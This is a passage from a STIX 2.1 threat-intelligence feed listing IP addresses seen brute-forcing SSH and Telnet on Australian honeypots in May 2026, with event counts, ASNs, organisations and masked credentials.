      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: AO. ASN(s): 17400. Organisation(s): MSTelcom.",
      "id": "indicator--89201cd3-727a-4cec-96bf-f0807a61610b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.249.205.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:15:11.000Z",
      "valid_until": "2026-06-21T16:15:09.000Z"
    },
    {
      "created": "2026-05-20T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 34700. Organisation(s): Maxnet Telecom, Ltd.",
      "id": "indicator--af1359b3-69cd-4855-8680-4082ff874435",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.202.177.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:15:11.000Z",
      "valid_until": "2026-06-21T16:15:09.000Z"
    },
    {
      "created": "2026-05-20T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--7f2321fc-eb88-4dfa-894c-ecadf448810d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.226.183.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T16:15:11.000Z",
      "valid_until": "2026-06-21T16:15:09.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 191. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 9808. Organisation(s): China Mobile Communications Group Co., Ltd.. Usernames observed (masked): r**t, a***n, h****i, 3**********4, b*********r. Passwords observed (masked): p******d, 0**1, 1****6, 3***********4, 3**********4.",
      "id": "indicator--4a00e45e-626a-4bc3-af61-aaf81228c22f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.47.243.219']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 132. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--116470ca-1fce-42c0-8207-c49ae66a0d9b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.138.221.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 137266. Organisation(s): CHINATELECOM Hubei province Wuhan 5G network.",
      "id": "indicator--7ce555f8-9f94-416a-a5b1-5a227988da9f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '119.98.248.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PF. ASN(s): 9471. Organisation(s): ONATI.",
      "id": "indicator--af199dc9-0322-4546-b426-d82a9c1cb84d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '148.66.110.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 262. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, 3**********4, ***, z***g, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1*******0, 3****1.",
      "id": "indicator--984057b3-249e-443d-8859-b1d51ff5546b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '167.172.133.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 262. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ. Usernames observed (masked): r**t, 3**********4, a***n, t**g, y**u. Passwords observed (masked): 1****6, 3***********4, 3**********4, 0****1, 1******0.",
      "id": "indicator--194c3594-7a75-4682-813a-8e0238dd95e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.32.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 262. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC. Usernames observed (masked): r**t, 3**********4, a***n, t**g, y**u. Passwords observed (masked): 1****6, 3***********4, 3**********4, 0****1, 1******0.",
      "id": "indicator--c6039a61-a62e-4788-8ff9-b774db5d9bb9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.168.147.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--3ca3ba1b-f907-4760-a0f0-a6658c5388a5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.3.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 333. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 10225. Organisation(s): Nettlinx Limited. Usernames observed (masked): r**t, 3**********4, h*****i, ***, z***g. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1*******0, 3****1.",
      "id": "indicator--e26bcf08-3aba-4500-a0eb-3681803cae88",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '202.53.94.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--eb003749-d1fb-401f-82d0-35948b901e22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IL. ASN(s): 12400. Organisation(s): Partner Communications Ltd.. Usernames observed (masked): r**t, 3**********4, a***n, ***, c***d. Passwords observed (masked): 1****6, p******d, 2****1, 3***********4, 3**********4.",
      "id": "indicator--7a59ca8a-e890-49c6-b3bc-37f2c65df106",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.199.105.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 190. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, e*****c, g****e, j*****n. Passwords observed (masked): 1****6, 0**1, 2**0, 3***********4, 3**********4.",
      "id": "indicator--10999bed-d1c8-400a-a84e-f3110efbcc59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.110.147.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56046. Organisation(s): China Mobile communications corporation.",
      "id": "indicator--0f53440b-e08a-43c0-b5cb-4fdacd4ff758",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.112.39.21']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 142. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 154297. Organisation(s): PROCAPITUS BUSINESS PARK PRIVATE LIMITED. Usernames observed (masked): r**t, 3**********4, a***n, ***, ***. Passwords observed (masked): 1****6, 1*********6, 3***********4, 3**********4, a*******x.",
      "id": "indicator--4c6d7e84-bf84-4ee1-ae33-475e5fe13b51",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.227.185.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T17:17:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--e5a0bbf1-e64a-4469-9821-9cedaa405240",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T17:17:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '8.219.84.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T17:17:43.000Z",
      "valid_until": "2026-06-21T17:15:08.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 138136. Organisation(s): Universitas Mataram.",
      "id": "indicator--f25cf18a-f564-482c-8719-175d87d43472",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.133.160.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--bce59dbc-3f11-4fc2-9969-ab239a03e805",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.245.141.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--ad8a2085-1336-4f88-b86a-f0069a56b93b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.17.97.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--90f7cc01-7a07-4697-80ee-8a271d35baf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '181.19.90.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28580. Organisation(s): Cilnet Comunicacao e Informatica S.A..",
      "id": "indicator--4cb14d51-9fa8-41b8-9852-611fefcf48d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.51.222.116']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 215125. Organisation(s): Church of Cyberology. Usernames observed (masked): r**t. Passwords observed (masked): I*************************t.",
      "id": "indicator--a13b7edc-1640-459a-b4f8-8d6a0434541f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '192.42.116.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 27889. Organisation(s): Telecomunicaciones MOVILNET.",
      "id": "indicator--562adda7-9ae0-420e-83f8-51bb2d717dc8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '201.238.1.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--98952637-0bd4-4d56-bf3e-8c0e7f560619",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.25.65.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CL. ASN(s): 52368. Organisation(s): ZAM LTDA.. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--066fd5f8-0f8c-44ad-8d25-3c745511e8cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.7.230.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--6f0cc475-9c85-4865-acce-b4d21a55e5aa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.176.177.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T18:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d1b7145f-d53c-49fc-810c-278f861a0836",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T18:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.184.68.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T18:15:12.000Z",
      "valid_until": "2026-06-21T18:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group.",
      "id": "indicator--e88592f7-1b32-4796-8118-b9bb6e569908",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '1.34.57.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--2c551fa8-577b-4aa3-a674-bfe033593844",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.184.40.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 37457. Organisation(s): Telkom-Internet.",
      "id": "indicator--8c890752-d6df-415e-b51d-c547fbf92898",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.224.18.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--91f86e67-ac59-43ef-8a53-63a55dc3e857",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.40.66.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fefc7476-7d7e-4be3-b5a1-11027accc286",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.57.197.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--160a0091-1c00-4c64-bb4b-215c84fd6263",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.59.0.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T19:15:11.000Z",
      "valid_until": "2026-06-21T19:15:09.000Z"
    },
    {
      "created": "2026-05-20T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--10bc3b80-2db1-4678-bf94-86156cd42e5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-20T19:15:11.000Z",
